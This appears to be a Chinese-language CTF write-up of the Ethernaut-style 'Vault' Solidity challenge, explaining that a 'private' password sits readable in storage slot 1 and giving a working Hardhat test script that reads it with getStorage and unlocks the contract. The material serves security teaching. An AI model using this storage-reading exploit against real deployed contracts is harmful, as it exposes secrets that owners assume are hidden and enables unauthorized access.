Skip to content
On this page

揭秘 Vault:解锁以太坊智能合约的秘密宝库!

你是否曾幻想过拥有一个能够守护无价之宝的数字保险库?在以太坊的世界里,智能合约就像是这个宝库的守门人。今天,我们将一同踏上一次激动人心的 CTF(Capture The Flag)挑战之旅,挑战的正是名为“Vault”的智能合约。目标只有一个:解锁宝库,晋级下一关!

什么是 CTF?

CTF 是一种信息安全竞赛,玩家需要在限定时间内,通过攻克一系列安全挑战来获取“旗帜”(flag)。在区块链领域,CTF 挑战通常围绕着智能合约的漏洞展开,让我们有机会在真实场景中学习和实践智能合约的安全知识。

深入 Vault 合约

我们这次的挑战对象是 Vault.sol。让我们来仔细看看它的代码:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
    bool public locked; // 宝库的锁定状态,true为锁定,false为解锁
    bytes32 private password; // 宝库的密码,是私有的,不对外可见

    constructor(bytes32 _password) {
        locked = true; // 合约部署时,宝库默认是锁定的
        password = _password; // 密码在部署时传入
    }

    function unlock(bytes32 _password) public {
        // 只有当传入的密码与存储的密码一致时,才能解锁宝库
        if (password == _password) {
            locked = false;
        }
    }
}

从代码中我们可以清晰地看到,Vault 合约有两个重要的状态变量:locked(一个布尔值,表示宝库是否被锁定)和 password(一个 bytes32 类型的值,代表解锁密码)。

  • 构造函数 constructor(bytes32 _password):Vault 合约被部署时,会接收一个密码 _password,并将 locked 设置为 true,将接收到的密码存储起来。
  • 解锁函数 unlock(bytes32 _password): 这个函数接收一个密码作为参数。如果传入的密码 _password 与合约内部存储的 password 相符,那么 locked 就会被设置为 false,宝库成功解锁!

乍一看,这个合约似乎非常安全,唯一的解锁方式就是知道正确的密码。然而,CTF 的乐趣就在于发现那些隐藏在表面之下的“猫腻”。

破解 Vault 的思路:我们真的需要知道密码吗?

在许多智能合约安全挑战中,最直接的攻击方式往往不是我们所期望的那样。unlock 函数确实需要正确的密码才能执行 locked = false。但是,让我们思考一下:我们能以其他方式获得这个密码吗?

在 Solidity 中,所有状态变量都会被存储在区块链的存储(Storage)中。虽然 password 被声明为 private,这意味着它在合约内部是不可访问的,但这并不意味着它在链上是绝对隐藏的。

关键点来了: 我们可以通过读取合约的存储槽(Storage Slot)来获取 password 的值!

洞悉存储槽(Storage Slot)

Solidity 将合约的状态变量存储在区块链的存储中,每个变量都占据一个存储槽。对于简单的变量,它们的存储槽是按照声明的顺序来确定的。

  • locked 是第一个声明的变量,通常占据存储槽 0
  • password 是第二个声明的变量,通常占据存储槽 1

那么,我们如何读取这个存储槽的值呢?

在以太坊的交互工具(如 Hardhat、Truffle)中,我们可以利用 getStorage 函数来读取指定地址的指定存储槽的值。

答案揭秘:98_test_vault.ts 的智慧

让我们来看看 CTF 提供的测试文件 98_test_vault.ts,它为我们揭示了破解的思路:

typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { Vault } from "../typechain-types";

describe("Vault", function () {
  describe("Vault testnet sepolia", function () {
    it("testnet sepolia Vault unlock", async function () {

      const VAULT_ADDRESS = "0x..."; // 宝库合约的部署地址
      const VAULT_ABI = ["function unlock(bytes32 _password) public", "function locked() external view returns (bool)"]; // 简化 ABI,只包含必要的方法

      const challenger = await ethers.getNamedSigner("deployer"); // 获取用于挑战的账户
      const vaultContract = new ethers.Contract(VAULT_ADDRESS, VAULT_ABI, challenger);

      const SLOT1 = 1; // 我们知道 password 存储在存储槽 1
      // 通过 ethers.provider.getStorage 读取存储槽 1 的值
      const VALUE_PASSWORD_SLOT = await ethers.provider.getStorage(VAULT_ADDRESS, SLOT1);

      // 将读取到的存储槽的值作为密码,调用 unlock 函数
      const tx = await vaultContract.unlock(VALUE_PASSWORD_SLOT);
      await tx.wait(); // 等待交易确认

      const stateLocked = await vaultContract.locked(); // 再次检查宝库是否已解锁
      expect(stateLocked).to.be.equals(false); // 断言宝库已成功解锁
    });
  });
});

这段代码完美地演示了我们的破解思路:

  1. 连接到宝库: 首先,它使用宝库合约的地址和简化的 ABI 创建了一个合约实例。
  2. 定位密码: 它明确指出了 password 存储在 存储槽 1const SLOT1 = 1;)。
  3. 读取秘密: 最关键的一步,它调用 ethers.provider.getStorage(VAULT_ADDRESS, SLOT1),直接从链上读取了存储槽 1 中的数据,这正是我们想要的 password
  4. 执行解锁: 最后,将读取到的 VALUE_PASSWORD_SLOT 作为参数,调用 vaultContract.unlock() 函数。
  5. 验证成功: 调用 vaultContract.locked() 检查宝库状态,并使用 expect(stateLocked).to.be.equals(false); 来断言宝库已经被成功解锁。

学习与启示

Vault 挑战看似简单,却深刻地揭示了以下几点:

  • “私有”不等于“隐藏”: 在以太坊上,private 关键字仅仅是 Solidity 语言层面的访问控制,并不能阻止其他用户读取链上存储的数据。
  • 理解存储结构的重要性: 了解智能合约如何将其状态变量映射到存储槽,是进行更深层次安全审计和漏洞挖掘的关键。
  • CTF 是学习的绝佳平台: 这种游戏化的学习方式,能够让我们在实践中快速掌握复杂的区块链安全概念。

通过这次 Vault 的挑战,我们不仅“解锁”了一个虚拟的宝库,更重要的是,我们解锁了对智能合约安全更深层次的理解。希望这次探索能让你对以太坊的安全性有更清晰的认识,并在未来的学习和实践中受益匪浅!

Built with AiAda